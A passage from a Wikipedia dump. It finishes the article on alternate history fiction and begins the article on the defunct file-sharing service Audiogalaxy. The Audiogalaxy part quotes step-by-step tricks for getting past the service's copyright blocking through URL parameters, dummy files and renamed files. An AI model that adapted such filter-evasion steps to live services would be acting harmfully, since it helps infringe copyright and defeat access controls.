When the magical version of our world's history is set in contemporary times, one must clearly differentiate between alternate history on the one hand and secret history (as exemplified by [[Roswell]] saucers in an Air Force hanger or the [[Philadelphia Experiment]]) on the other. In works such as [[Robert A. Heinlein]]'s &quot;Magic, Incorporated&quot; where a construction company can use magic to rig up stands at a sporting event and [[Poul Anderson]]'s ''Operation Chaos'' and its sequel ''Operation Luna'', where djinns are serious weapons of war -- with atomic bombs -- the use of magic throughout the United States and other modern countries makes it clear that this is not secret history or the result of a mere POD. Indeed, whenever the effects of the fantasical elements are so powerful and pervasive that they cannot plausibly be explained via secret machinations or a point of departure caused by human decisions, then the history depicted should be regarded as a pseudo-alternity. (This should apply not just to fantasy alternities but to satiric ones in which highly improbable events occur, as in ''What Mad Universe''.)

[[Philip Pullman]] mined both pseudo-alternate history and cross-time themes in ''[[His Dark Materials]]'' (1996-2000), a science-fantasy trilogy for young adults. Most notable is his variant version of Elizabethan England in the first volume, although given the different (magical) laws of nature there could be no credible point of departure, nor does Pullman attempt to provide one.

A fantasy version of the paratime police was developed by children's writer [[Diana Wynne Jones]] in her [[Chrestomanci]] quartet (1977-1988), with wizards taking the place of high tech secret agents. Among the novels in this series, ''[[Witch Week]]'' stands out for its vivid depiction of a history alternate to that of Chrestomanci's own world rather than our own (and yet with a specific POD that turned it away from the &quot;normal&quot; history of most worlds visited by the wizard).

Although [[J.K. Rowling]] does not deal explicitly with cross-time or alternate history themes in her [[Harry Potter]] books (outside of the &quot;time turner&quot; used in book three), her world of wizards who coexist quasi-invisibly with the [[Muggles]] can be seen as an eccentric variant in which two subuniverses/subhistories co-exist as subsets of a larger universe/history (or one can regard [[Hogwarts]] and other magical locales as merely being pocket universes within a primary Muggles universe). Of course, if Rowling were to spell this out it would spoil much of the charm of her fictional world.

== Elements of Alternate History ==

There are certain elements which are common to all alternate histories, whether they deal with history on the micro-level (personal alternate histories) or the macro-level (world-changing events).  These elements include:

*A point of change from the history of our world prior to the time at which the author is writing;
*A change which would alter history as it is known; and
*An examination of the ramifications of that change.

Alternate histories do not:

*Need to be set in the past;
*Need to spell out the point of divergence;
*Need to deal with world changing events; or
*Need to include famous people.

== The boundaries of alternate history ==

This leads to readers encountering stories which read ''as though'' they were alternate history, but which are not. An example would be [[Robert A. Heinlein]]'s ''[[The Man Who Sold the Moon]]''. Written in the 1940s, it posits that the first moon launch is run by a private organization rather than a government agency in the 1960s.  New readers encountering the book may well presume that this is alternate history since it is clearly a counter-factual depiction of the first moon launch, now almost 40 years in the past.  However, ''when written'', the first moon launch was nearly 30 years in the ''future''.  Thus, ''The Man Who Sold the Moon'' is [[science fiction]], not alternate history.  The point of divergence happened after the time at which the author was writing.

Also one should not confuse the AH subgenre with [[secret history]], which gives an account of history at odds with our general understanding &amp;mdash; presenting its own account as having been concealed or suppressed by an elite. 

AH also should not be mistaken for mythical history--a history which supposedly has been forgotten through the passage of time, not through conspiratorial suppression. The works of [[Robert Howard]] and [[J.R.R. Tolkien]] are excellent examples of fiction based on a lost-history framing, but they do not and cannot specify a point of departure from our own history, since there is no historical, archaeological or paleontological record on which such a POD could be based. Given the lack of any continuity with our world (and the lack of any kind of multiverse framing) such worlds are merely fantasy worlds and cannot be regarded as alternate history even in a borderline sense.

It is also possible to have novels that explore Points of Divergence (the key concept in alternate history) without actually being works of alternate history themselves. One good example is [[Marge Piercy]]'s critically acclaimed ''Woman on the Edge of Time'' (1976) in which a patient in a mental hospital is able to travel into two alternate futures--one an ecotopia run by reformed Weather Underground types and the other a fascist dystopia run by people-hating robots. Decisions she must make to resist an insidious new type of brain operation will determine which future wins. This is a time travel story, a cross-time story, a Christopher Priest style delusional alternate reality story and a POD story all rolled into one but it is &lt;i&gt;not&lt;/i&gt; alternate history because the POD occurs in the present (or perhaps the near future) not in the past.

Less obvious is the difference between alternate history and &quot;what if&quot; stories. The latter subgenre extrapolates, from the present, a concrete near-future possibility that is often an expression of current public fears (hence the alternate term &quot;cautionary tale&quot; used by Sackville-West, see below). For instance, beginning in the 1870s the British reading public was treated to a number of what-if books about a German or French invasion of an unready British Isles. During the [[Great Depression]], [[Sinclair Lewis]] wrote of a [[fascism | fascist]] takeover in the United State in his classic ''[[It Can't Happen Here]]'' ([[1935]]). During the early years of [[World War II]], [[Vita Sackville-West]] penned the science fantasy ''Grand Canyon'' ([[1942]]) in which the Germans invade a woefully unprepared United States. One could define such tales as borderline alternate history, since they are usually set in a time that is only shortly after the time of writing and the events described could not have occurred without a branching of history before, if only slightly before, the book was written.  

The boundary, like many in literature, is a broad line with grey edges (not unlike the fog around the alternate universe portals in science-fiction stories of fifty years ago). Would a 2005 author writing a story set in [[1970]] in Heinlein's universe, or [[Jules Verne]]'s ''[[Captain Nemo]]'' universe be writing SF or AH?  Opinions differ.

== Alternate history in other media ==

Several films have been made that exploit the concepts of alternate history, most notably [[Kevin Brownlow]]'s ''[[It Happened Here]]''.  Another such film is ''[[2009 Lost Memories]]'', a Korean film supposing that [[Hirobumi Ito]] was not assassinated by [[An Jung-geun]] in Harbin, China, in [[1909]]. 

A few movies about alternate pasts, however, focus on individuals rather than historical events and some students of AH would say these are '''not'''  alternate histories (e.g., [[Frank Capra]]&amp;#8217;s ''[[It's a Wonderful Life]]'', and more recently the films ''[[Sliding Doors]]'' and ''[[The Butterfly Effect]]''). However, in the Capra film the angel shows [[Jimmy Stewart]] an alternate history in which he was never born--the changes in his home town are serious and far-reaching, creating a much darker reality for his neighbors. Thus if one posits, as Capra does, that changes in personal lives create a ripple effect in the larger history, then such stories do qualify as a type of alternate history (one could call them &quot;alternative local history&quot; or &quot;alternative interpersonal history&quot;). Such worlds with relatively small (and sometimes almost undiscernable) changes in personal lives were given the name &quot;cognate universes&quot; by [[Jack Vance]] in the novelette &quot;Rumfuddle&quot; (1973).   

The [[science fiction]] [[television show]] ''[[Sliders]]'' presented alternate histories under the science-inspired guise of quantum-navigating the [[multiverse]]. The alternate Americas in most episodes are nasty [[dystopias]], although sometimes this is not evident at first. Another such television show, a South Korean drama, [[Gung]] presents an point of divergence where the Korean monarchy is restored after the Independance from the Japanese Empire even up to the 21st Century.[http://www.imbc.com/broad/tv/drama/gung/index.html] (Note: This website is in Korean)

The dramatic possibilities of alternate history provide a diverse genre for exploration in [[role-playing game]]s. [[List of role-playing games#Period_Adventure.2FAlternate_History_Genres|Many games]] use an alternate historical background for their campaigns. In particular, [[GURPS]] uses a setting containing multiple different alternate histories as its default campaign setting.

==Points of divergence==

The key change between our history and the alternate history is known as the &quot;[[Point of divergence]]&quot; (POD).  In [[Philip K. Dick]]'s ''[[The Man in the High Castle]]'', the POD is the attempted assassination of [[Franklin D. Roosevelt]] in [[Miami]] in [[1933]].  In reality, this attempt failed.  Another alternate history with a point of divergence connected to Roosevelt is the backdrop to [[Philip Roth]]'s novel [[The Plot Against America]], in which Roosevelt is defeated in the [[1940]] [[United States presidential election, 1940|US presidential election]] by the isolationist [[Charles Lindbergh]], who reaches an accommodation with the [[Axis powers]] in [[World War II]] and keeps the [[United States]] out of the war. In Robert Harris's [[Fatherland (novel)|Fatherland]], the POD occurs when a German attack into the [[Caucasus]] succeeds in the Nazis seizing vital oil and cutting off supplies to the [[Red Army]]. This forces the USSR to surrender, enabling the Axis Powers to bring the remaining Allies to the peace table, one by one. Some variants of the theory of the [[multiverse]] posit that PODs occur every instant, springing off [[parallel universe (fiction)|parallel universe]]s for each instance.  Even mainstream [[science fiction]] stories are known to have points of divergence - the ''[[Star Trek]]'' franchise, for example, diverts from ours in that several key [[space disaster]]s never occurred, resulting in a much faster and smoother development of rocketry than in our timeline.

==Counterfactual and virtual history==
''See main articles: [[historical revisionism]], [[virtual history]]''

[[Historian]]s also speculate in this manner; this type of speculation is known commonly as &quot;counterfactual history&quot; or &quot;[[virtual history]]&quot;.  There is considerable debate within the community of historians about the validity and purpose of this type of speculation.

For alternate histories which some assert to be factual rather than speculative, see [[conspiracy theory]] and [[historical revisionism]].

==Sidewise Award for Alternate History==

In [[1995]], the [[Sidewise Award for Alternate History]] was established to recognize best Long Form (novels and series) and best short form (stories) within the genres.  The award is named for [[Murray Leinster]]'s story &quot;Sidewise in Time.&quot;

== Published alternate histories ==

Literally thousands of alternate history stories and novels have been published. Following is a somewhat random sampling:

* ''[[Weapons of Choice: Axis of Time series]]'' by [[John Birmingham]], which is part Alternate History, part Science Fiction. Its point of divergence is 1942 when an American-led UN Multinational Force arrives uptime from 2021 via a wormhole that was accidentally generated as a byproduct of a scientific experiment. Of course one could say there is also a downtime point of divergence--the point at which the UN force disappears from its &quot;normal&quot; time. (In other words, within the framing logic of parallel universe science fiction, the fictional experiment creates two new worlds or histories, while presumably leaving unchanged the future of a third world--the one in which the wormhole was never generated.)

* ''[[Lighter than a Feather]]'' (1971) by [[David Westheimer]], a story of the American invasion of Japan, [[Operation Olympic]], which was to have taken place in November 1945. The novel is seen from the point of view of both low-level Japanese military and civilian and American military members. 

* ''[[Pastwatch: The Redemption of Christopher Columbus]]'' by [[Orson Scott Card]], in which scientists from the future travel back to the 15th century to prevent the European colonisation of the Americas.

* ''[[Alvin Maker]]'' by [[Orson Scott Card]], in which Card imagines North America where people wield magic, or knacks, and the revolution was only partly successful. 

* ''[[Bring the Jubilee]]'' by [[Ward Moore]], in which the South was not defeated in the [[American Civil War]] because it won the [[Battle of Gettysburg]].

* ''[[The Man in the High Castle|The Man in the High Castle]]'' by [[Philip K. Dick]] set in a world where the [[Axis powers]] won [[World War II]].

* ''[[Fatherland (novel)|Fatherland]]'' by [[Robert Harris]] is also set in the 1960s in a Germany which won World War II.

*In &quot;The Forfeited Birthright of the Abortive Far Western Christian Civilization,&quot; [[Arnold J. Toynbee]] describes a world in which the Franks lost to the Muslims at the [[Battle of Tours]] in [[732]].

* ''[[SS-GB]]'' by [[Len Deighton]] is a detective novel set in 1941 Britain in which the Germans have successfully occupied the country.

* ''If Hitler Had Invaded England'', by [[C.S. Forester]], found in his collection of published short stories, ''Gold from Crete''.  The story is a fictionalized account of a German invasion of Britain in 1940, based on what Forester saw as realistic projections of German and British capabilities.  The German invasion fails short of reaching London due to continued British supremacy at sea and in the air. The resulting lack of river transport capability leads to an Allied victory. 

* ''Pavane'', by [[Keith Roberts]], assumes that Queen [[Elizabeth I of England]] was assassinated, and in the ensuing disorder, the [[Spanish Armada]] was successful in suppressing [[Protestantism]]; the novel (actually a series of shorter pieces) is set in a 20th century where technology has advanced less than in our world, and where the [[Inquisition]] still has power.

* &quot;[[The Last Article]]&quot; is a [[short story]] by [[Harry Turtledove]], in which [[Mohandas Gandhi]] attempts to use [[non-violent resistance]] against India's [[Nazi]] occupiers.

* ''The Alteration'' by [[Kingsley Amis]] is set in a world very similar to that of ''Pavane''. In this world, [[Martin Luther]], rather than beginning the [[Protestant Reformation]], became [[pope]]. The novel concerns the attempt to prevent a young boy with a perfect singing voice from being recruited to the [[Holy See|Vatican's]] [[eunuch]] choir. There are a number of in-jokes, where famous works of [[fantasy and science fiction]] appear, under slightly different titles: 'The Wind in the Cloisters' and 'The Lord of the Chalices' for example.

* The &quot;[[Lord Darcy]]&quot; [[fantasy]] series by [[Randall Garrett]]; a number of short stories and one novel (''Too Many Magicians'') based on the premise that King [[Richard I of England|Richard I]] of [[England]] returned safely from [[France]] and that [[Roger Bacon]] had systematised the laws of [[magic (paranormal)|magic]]. The stories are a series of traditional [[detective fiction]]-style [[murder mystery|murder mysteries]] with forensic magic being used in the investigation.

* The &quot;[[Western Lights]]&quot; [[science fantasy]] series by [[Jeffrey Barlough]] posits a cataclysmic event that has &quot;sundered&quot; [[Western Europe]] from the rest of the world.  The series features somewhat [[Steampunk]] [[Victorian era|Victorian]] technology and society juxtaposed with [[Ice Age]]-era creatures such as [[mastodon]] and [[saber-toothed tiger]]s.  Titles include ''Dark Sleeper'', ''The House in the High Wood'', and ''Strange Cargo''.

* ''[[GURPS Alternate Earths]]'' (ISBN 1-55634-318-3) and ''[[GURPS Alternate Earths II]]'' (ISBN 1-55634-399-X) a pair of &quot;What might have been&quot; supplements for the Third Edition of the [[GURPS]] role-playing game. Includes a world with a surviving Confederacy, a Nazi/Japanese Empire world, an Aztecs-rule-America scenario, a Viking empire and a unique &quot;[[Hugo Gernsback|Gernsback]]&quot; world in which the dreams of mad scientists and [[Doc Savage]] have become reality. The conflict between the [[Infinity Patrol (GURPS)|Infinity Patrol]] and [[Centrum (GURPS)|Centrum]] across the multiplicity of parallel Earths detailed in these supplements (and originating in ''[[GURPS Time Travel]]'') was made central to the Fourth Edition of GURPS as the default setting in the Basic Set and in the supplement ''[[GURPS Infinite Worlds]]''.

* ''[[The Difference Engine]]'' by [[William Gibson (novelist)|William Gibson]] and [[Bruce Sterling]] is a [[steampunk]] novel which deals with a Victorian society in which [[Charles Babbage]]'s [[Analytical Engine]] takes on the roles of modern computers a century early.

*  ''[[Arrowdreams: An Anthology of Alternate Canadas]]'', edited by [[Mark Shainblum]] and [[John Dupuis]] features stories by [[Eric Choi]], [[Dave Duncan (writer)|Dave Duncan]], [[Glenn Grant]], [[Paula Johanson]], [[Nancy Kilpatrick]], [[Laurent McAllister]], the late [[Keith Scott]], [[Shane Simmons]], [[Michael Skeet]], [[Edo van Belkom]] and [[Allan Weiss]]. The collection garnered an [[Aurora Award]] in the &quot;Best Other Work in English&quot; category, while Edo van Belkom's short story &quot;Hockey's Night in Canada&quot; captured another for &quot;Best Short-Form Work in English.&quot;

* ''[http://www.incunabula.org/ebooks.html Ong's Hat]'' by [[Ong's Hat, New Jersey]] is an Internet legend that deals with a group of renegade scientists from Princeton that developed a means of travel to parallel universes and fled this Universe to found a colony in another world.

* ''[[How Few Remain]]'' by [[Harry Turtledove]] is set twenty years after a Southern victory in the [[American Civil War]] established the [[Confederate States of America]]. This novel is followed by the [[Great War (Harry Turtledove)|Great War]] trilogy, set in the 1910s, the [[American Empire (Harry Turtledove)|American Empire]] trilogy, taking the timeline up through the 1920s and 30s, and the [[Settling Accounts (Harry Turtledove)|Settling Accounts]] trilogy, detailing an alternate World War II.

* ''[[The Two Georges]]'' by [[Harry Turtledove]] and actor [[Richard Dreyfuss]] is set in modern times under the assumption that [[George III of the United Kingdom|King George III]] of Great Britain and [[George Washington]] reached a settlement where the 13 Colonies remained within the British Empire with increased autonomy and virtually all of their grievances redressed. The book follows two Royal American Mounted Police officers attempting to recover the famous painting of the meeting between the Two Georges by [[Thomas Gainsborough]] after it had been stolen by anti-British terrorists. The painting had become a national treasure and the principal symbol of the unification between Britain and America. 

* ''[[Making History]]'' (1996) by British actor, comedian and novelist [[Stephen Fry]] is set in a [[parallel world]] in which [[Adolf Hitler]] was never conceived, let alone born.

* ''[[For Want of a Nail]]'' (1973) by American business historian [[Robert N. Sobel]] - details a world in which the [[American Revolution]] failed.  The British colonies become the Confederation of North America (CNA), while the defeated rebels go into exile in Spanish Tejas, eventually founding the United States of Mexico (USM) - a bitter rival to the CNA.  The gigantic [[multinational corporation]] Kramer Associates, originally from Mexico but later based in [[Taiwan]], is the third world power, and the first power to detonate an [[atomic bomb]]. This book is of particular interest because it is written in the format of a standard popular history, complete with footnotes and discussions of differing historical interpretations, and for the fact that for many years, at least one major municipal library (the Denver Public Library) had this book filed in its history collection rather than as fiction.

* ''[[The Domination]]'' by [[S. M. Stirling]] - after the [[United States]] conquers [[Canada]] in the [[War of 1812]],  the Loyalists move to [[South Africa]], where they join with the [[Boers]] to set up a [[slavery]]-based empire called the Domination of the [[Draka]].  The story tells of the struggle between the Domination and the [[free world]].  As the Draka come to dominate the world, they create a superhuman race.

* ''Conquistador'' by S.M. Stirling - an interdimensional gateway is discovered in California, which gives access to an alternate Earth in which the empire of [[Alexander the Great]] flourished, and where Europeans never discovered America.

* ''[[Wild Cards]]'' edited by [[George R. R. Martin]] - A series of collaborations based on the premise that an [[alien race]] released a virus just after the WWII that gave some people [[superpower]]s and others terrible deformities.

* ''[http://www.baen.com/library/0671319728/0671319728.htm 1632]'' by [[Eric Flint]] - (found online at the [[Baen Free Library|Baen Books free library]] in various ebook formats.) Its sequels, starting with ''[http://www.webscription.net/10.1125/Baen/0743435427/0743435427.htm 1633]'' are available for sale.  A series based on the premise that an entire modern [[West Virginia]] town is transported in time and space to Germany during the [[Thirty Years War]].

*''Rivers of War'' by [[Eric Flint]] is an alternate history of the American frontier. It posits that [[Sam Houston]] was not injured at the beginning of the War of 1812, and substantially revises the history of the [[Trail of Tears]].

* ''1945'' by [[Newt Gingrich]] and [[William R. Forstchen]] assumes that the Germans perfected long-range [[jet aircraft]] by the end of [[World War II]] and conducted successful raids in North America against the US nuclear program.

* ''The Probability Broach'' by [[L. Neil Smith]] One single word in the [[Declaration of Independence]] differs and the US becomes the North American Confederation, a [[libertarian]] society. In the present some scientist will invent the Probability Broach and make contact with other universes.
**''The Venus Belt''
**''Their Majesties' Bucketeers''
**''The Nagasaki Vector''
**''Tom Paine Maru''
**''The Gallatin Divergence''

*''The Indians Won'' (ISBN 0843910127) by [[Martin Cruz Smith]] imagines that the [[Native Americans (U.S.)|Native Americans]] had won the [[Indian Wars|Indian wars]] and kept their land.

* ''The Coming of the Demons'' by [[Gwenyth Hood]] imagines if the execution of [[Conradin|Conradin Hohenstaufen]] in Naples on [[October 29]], [[1268]] was averted by the arrival of the Pelezitereans, exiled alien wanderers from another galaxy, seeking an uninhabited planet on which to reestablish their advanced culture.

* ''[[1901]]'' by [[Robert Conroy]] depicts a hypothetical war between Germany and the United States at the start of [[William McKinley]]'s second term as President.

*[[Mamoru Oshii]]'s [[manga]] ''Kerebos'', a.k.a ''Hellhounds Panzer Cops'' in the United States, and the [[film]] [[Jin-Roh: The Wolf Brigade]], both of which take place in a 1960's Japan that was defeated and occupied by the Germans.

* [[Kim Stanley Robinson]]'s ''[[The Years of Rice and Salt]]'' imagines a world in which [[the Black Death]] of the 14th century kills 99% of the people in Europe.  Over the next seven centuries, [[China]] and the [[Islamic world]] come to dominate the planet as they colonize a North America whose native peoples have all united in the Hodenosaunee League under the [[Iroquois]], clash in India (a place of many scientific innovations), and the Muslims resettle a depopulated Europe.

* [[Robert Silverberg]]'s ''[[Roma Eterna]]'' is set in a world where the [[Red Sea]] did not part before [[Moses]]. As a result, the [[Roman Empire]] grew and prospered without the influence of [[Christianity]]. The novel is a series of short stories set in the same alternate history, up to [[2000|2753]] [[ab urbe condita|AUC]].

* [[Terry Pratchett]]'s ''[[Strata (novel)|Strata]]'' is set in a world where [[Remus]] won the right to name the city and not [[Romulus]]. As a result, the [[Roman Empire]] is known as the ''Remen empire''. Other changes result from this.

* [[John M. Ford]]'s ''[[The Dragon Waiting]]'' is set in a Europe where the Emperor Julian lived long enough to re-establish paganism in the Roman Empire.

* ''[[The Shadow of the Lion]]'' and ''[[This Rough Magic]]'', a collaboration between [[Mercedes Lackey]], [[Eric Flint]] and [[Dave Freer]], is set in a renaissance Europe where the [[Library of Alexandria]] was not destroyed by a Christian mob and the now sainted [[Hypatia of Alexandria]] and [[John Chrysostom]] shaped religious thought, significantly altering how the Church developed. The novels center around the [[Republic of Venice]].

* The [[Belisarius series]] of novels by [[David Drake]] and [[Eric Flint]] take place when opposing factions from the future influence early times through intermediaries for their own purposes: the 'good' side operating through the [[Byzantine Empire|Byzantine]] general [[Belisarius]] and the 'evil' side operating through the Indian state of [[Malwa]].

* [[Michael Moorcock]]'s ''[[The Nomad of the Time-Streams]]'' trilogy (aka ''The Nomad of Time''), a series of novels featuring a grown-up version of [[E. Nesbit]]'s [[Oswald Bastable]] (from [[The Treasure Seekers]] and other books) who experiences a variety of alternate realities that have diverged from his own time-line.
**''The War Lord of the Air''
**''The Land Leviathan''
**''The Steel Tsar''

== Online alternate histories ==

''[[soc.history.what-if]]'' is a [[Usenet]] [[newsgroup]] devoted to discussing alternate histories.  This newsgroup has spawned a number of interesting alternate timelines, including an online [[role playing game]] which has run continuously since [[2000]] called SHWI-ISOT with a [[POD]] in [[1800]] and in which the characters are based on the players being sent from the 21st century back to an alternate early 19th Century, where they have started altering history.  The concept was inspired by [[S.M. Stirling]]'s &quot;Island on the Sea of Time&quot; books.

In online alternate history, the timeline is usually referred to by the abbreviation ''ATL'' (Alternate Time Line), as contrasted with ''OTL'' (Our Time Line) which refers to real history.

*  ''[http://www.butteredcat.com/ 1933]'' an alternative view of the 20th century post-1933 in which [[Adolf Hitler]] succeeds in creating an alliance between Nazi Germany and the British Empire resulting in the invasion and conquests of France and the Soviet Union, and the resulting long and prolonged cold war between the Anglo-German alliance and the United States.

*  ''[http://www.alternatehistory.com/foralltime/ For All Time]'' (&quot;President Chester A. Arthur&quot; or Mike Davis) is a [[dystopia]]n post-WWII scenario resulting from the death of Roosevelt shortly after the [[attack on Pearl Harbor]], featuring horrific three-way [[race riot]]s in the [[United States]] between white, black and Jewish gangs, and frequent usage of [[nuclear weapon]]s around the world.

*  ''[http://www.shatteredworld.net Shattered World]'' (Bobby Hardenbrook) is a devastating alternate [[World War II]], resulting from a [[Soviet Union|Soviet]] invasion of [[Poland]] in [[1937]].  The timeline currently continues up to the autumn of [[1948]]. Some terminology is clearly inspired by [[The Domination]], as there is an &quot;Alliance for Democracy&quot; (which however does not include the United States) and a &quot;Eurasian War&quot;, which is an Axis-Soviet war which precedes the main World War II.

*  ''[http://www.geocities.com/wmlives/ALB1.html A Loose Bandage]'' (Beck Reilly) is an alternate 20th century following the failed assassination of [[William McKinley]].

*  ''[http://www.geocities.com/drammos/sealion1.html Sealion Fails]'' (Steven Rogers) is an alternate World War II in which Germany invades England, but the invasion is defeated.

*  ''[http://www.quarryhouse.free-online.co.uk/ed/ASHATW.htm A Shot Heard Around the World]'' (Ed Thomas) follows from the [[assassin]]ation of the [[Prince of Wales]] in [[1900]] (who in OTL became King [[Edward VII of the United Kingdom|Edward VII]]), preventing the [[Entente Cordiale]].  Without Britain as an ally France and Russia are easily defeated by the [[Central Powers]].  After the war [[Charles de Gaulle]] seizes power in France, and plans a war of vengeance against the Germans.

* ''[http://www.angelfire.com/gundam/japanese_empire/ Dai Nippon Teikoku: An Alternate History]'' is a history of a Japan which loses its territories on the Asian mainland in a war with the [[Soviet Union]].  As a result, Japan never goes to war with the [[United States]], and thus retains [[Karafuto]] and [[Micronesia]]. 

*  ''[http://www.alternatehistory.com/decadesofdarkness/ Decades of Darkness]'' (&quot;Kaiser Wilhelm III&quot;) suggests the early death of President [[Thomas Jefferson]] leading to the secession of [[New England]], resulting in a [[United States|United States of America]] dominated by [[slavery|slave owners]]. 

*  ''[http://www.kebe.com/for-all-nails/ For All Nails]'' is an ongoing, collaborative online continuation of ''For Want of a Nail'', which ended in [[1971]], the year the book had been written.  The authors believed the world depicted at the end of ''For Want of a Nail'' was an unpleasant one &amp;#8212; hence the name inspired by Chet's ''For All Time''.

*  ''[http://www.clockworksky.net/puritan_world/ah_pw_top.html Puritan World]'' (Tony Jones).  A different [[English Civil War]] results in a much earlier and much nastier [[American Revolution]].  Britain never becomes a world power.  By 1996, the New Commonwealth, a [[totalitarianism|totalitarian]] [[Puritan]] [[theocracy]] controlling all of North America, Britain, Australia and most of Japan, has recently begun a [[world war]] against the combined European powers of the Octuple Alliance.

*  ''[[Ill Bethisad]]'' is an ongoing, collaborative project with currently ca. 45 participants, originally created by [http://hobbit.griffler.co.nz/ Andrew Smith] from [[New Zealand]].

* ''[http://shwi.alternatehistory.com/Mr%20Hughes%20Goes%20to%20War.txt Mr. Hughes Goes to War]'' An alternate history where [[Charles Evans Hughes]] is elected [[President of the United States]] in [[1916]]

* ''[http://www2.gilemon.com:8080/mediawiki/index.php/Main_Page WikiDusk]'' is an Open Source novel - Wiki-editable - where on [[December 27]] [[2004]], a [[Starquake (star)|huge explosion halfway across the galaxy]] had packed even more power. [http://www.space.com/scienceastronomy/050718_star_quake.html]

[[Eric Flint]]'s rare policy of supporting [[fanfiction]] based on his [[1632 (novel)|1632 novel]] universe has created a vibrant forum section at [[Baen's Bar]], discussing the consequences of an event in which the fictional modern American town is transported back in time into the middle of the [[Thirty Years' War]], in the German province of [[Thuringia]].

==Further Reading==

*Chapman, Edgar L., and Carl B. Yoke (eds.). ''Classic and Iconoclastic Alternate History Science Fiction''. Mellen, [[2003]]
*Collins, William Joseph. ''Paths Not Taken: The Development, Structure, and Aesthetics of the Alternative History''.  University of California at Davis [[1990]]
*Gevers, Nicholas. ''Mirrors of the Past: Versions of History in Science Fiction and Fantasy''.  University of Cape Town, [[1997]]
*Hellekson, Karen. ''The Alternate History: Refiguring Historical Time''. [[Kent State University]] Press, [[2001]]
*McKnight, Edgar Vernon, Jr. Alternative History: The Development of a Literary Genre. University of North Carolina at Chapel Hill [[1994]]
*Snider, Adam. &quot;Thinking Sidewise: Tips for building an Alternate History collection&quot;.  ''School Library Journal'' April [[2004]][http://www.schoollibraryjournal.com/article/CA406675]

==See also==
* [[Parallel universe (fiction)]]
* [[Virtual history]]
* [[Invasion literature]]
* [[Time travel in fiction]]

==External links==

*[http://groups-beta.google.com/group/soc.history.what-if soc.history.what-if] is the [[usenet]] [[newsgroup]] on alternate history
*[http://games.groups.yahoo.com/group/SHWI-ISOT/ SHWI-ISOT] is an online [[Role playing game|RPG]] set in an alternate early 19th Century where people from the early 21st Century have been sent back and are altering history
*[http://www.shadesofblack.org/wikisot/index.php?title=Main_Page WIKISOT] is the wiki record of history and events for the SHWI-ISOT online [[Role playing game|RPG]]
*[http://www.uchronia.net/ Uchronia] has a good [http://www.uchronia.net/intro.html introduction to the topic], and lists over 2000 works of alternate history.
*[http://www.alternatehistory.com/discussion Alternate History Discussion] is a moderated forum devoted to discussing alternate history.
*[http://www.uchronia.net/sidewise The Sidewise Award for Alternate History] lists all the winners and nominees for the award since its inception and provides information for recommending works for consideration.
*[http://althistory.blogspot.com/ Today in Alternate History], a daily-updated blog, featuring &quot;Important Events In History That Never Occurred Today&quot; in several recurring timelines.
*[http://www.othertimelines.com/ This Day in Alternate History], not to be confused with the above.
*[http://www.histalt.com/ Histalt.com] is author [[Richard J. (Rick) Sutcliffe]]'s collection of Alternate History links.
*[http://www.paulkincaid.co.uk/article04.htm &quot;How to change the world&quot; - on Alternative histories]
*[http://groups.yahoo.com/group/alternate-history mailing list about Alternate History]
*[http://althistory.wikicities.com/wiki/Main_Page The Alternate History Wiki]
*[http://www.johnreilly.info/althis.htm John Reilly's Alternative History]
*[http://www.changingthetimes.net/ Changing The Times], is an Alternate History Electronic Magazine written and maintained by Alternate Historians. 
*[http://www.giampietrostocco.it/english.html Giampietro Stocco's thinking counterfactual], an Italian uchronic novelist's English homepage.

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  <page>
    <title>Audiogalaxy</title>
    <id>1204</id>
    <revision>
      <id>40100111</id>
      <timestamp>2006-02-18T03:16:22Z</timestamp>
      <contributor>
        <ip>66.71.60.92</ip>
      </contributor>
      <comment>deleted &quot;Joan Baez&quot; you stupid losers</comment>
      <text xml:space="preserve">[[Image:AGSatellite609.png|thumb|300px|Audiogalaxy Satellite 0.609]]

'''Audiogalaxy''' was a [[file sharing]] system located at http://www.audiogalaxy.com/ that indexed [[MP3]] files. Founded by [[Michael Merhej]] and sporting a web-based [[search engine]], always-on searching for requested files, auto-resume and low system impact, it quickly gained ground among file sharers abandoning [[Napster]] in [[2001]].  Some observing the previous downfall of Napster via lawsuit were shocked at the design of Audiogalaxy, which was in some ways more centralized than Napster.

*&quot;I don't get it- why do you guys still come here? lol&quot;- Famous quote by Michael Merhej who posted on the GD board!!!

* In May of 2001, Audiogalaxy implemented &quot;groups&quot; which allowed group members to send songs to everyone in the group. Clever hackers used this backdoor to circumvent the &quot;blocked songs&quot;  restriction, where Audiogalaxy could deny transfer of specific copyrighted songs.

* For those curious, here is how blocked songs could be downloaded, Not quite &quot;hacking&quot; but a clever workaround:
  &quot;You need 2 accounts, so sign up for a second if you only have one.
  create a group with your 1st a/c and get your 2nd a/c to join it,
  go into your 2nd a/c &amp; click the song with the X you want 2 download,
  it will tell you its copyrighted
  look at the url in the address bar &amp; take note of the numbers at the end,
  paste this into the address bar &amp; add the numbers (and go to that url):
  http://www.audiogalaxy.com/groups/sendSong.php?&amp;g=
  click send to group
  go back into your 1st a/c &amp; run the satellite
  the copyrighted song will start downloading!&quot;

* On [[May 9]], [[2002]], Audiogalaxy required songs to be in the sender's shared folder to be sent. Previously, one could send any song to anyone by editing the [[Common Gateway Interface|CGI]] parameters. This protection was quickly defeated by creating a &quot;dummy&quot; file in one's shared folder, and sending a song with the same name -- due to Audiogalaxy's [[checksum]] [[hash function|hashing]], the correct file was always sent despite the dummy.

* Even though Audiogalaxy claimed that they were trying to cooperate with the [[music industry]] and block [[copyright]]ed songs from their network, they continued to offer illegal MP3s and were sued by [[RIAA]], on [[May 24]], [[2002]]. On this day, Audiogalaxy blocked sending of all blocked songs.

* On [[June 17]], [[2002]], Audiogalaxy reached an [[out-of-court settlement]] with the RIAA. The settlement reached would allow Audiogalaxy to operate a &quot;filter-in&quot; system, which required that for any music available, the songwriter, music publisher, and/or recording company must first consent to the use and sharing of the work. 

* On [[September 8]], [[2002]], Audiogalaxy licensed and re-branded a for-pay streaming service called ''[[Rhapsody (online music service)|Rhapsody]]'' from [[Listen.com]] and discontinued its famous web-based P2P service.

* On [[December 25]], [[2002]], Martin Rieder wrote a preliminary form of a database-backed backwards-compatible Audiogalaxy server, dubbed OpenAG Server.



Audiogalaxy's stated mission was to facilitate sharing of music, though much more appears to have grown from its legacy. It was notable for its strong community due to such features as chat-enabled groups and per-artist [[internet forum]]s.  Although music is no longer shared, some message boards are still moderately active. Some of the more active forums include the Radiohead, Rush, and General Discussion boards.  

Files of any type could easily be shared via Audiogalaxy by renaming a file in a certain way.  For example, cdrwin37.zip would be shared by renaming it to cdrwin37&lt;space&gt;zip&lt;space&gt;.mp3


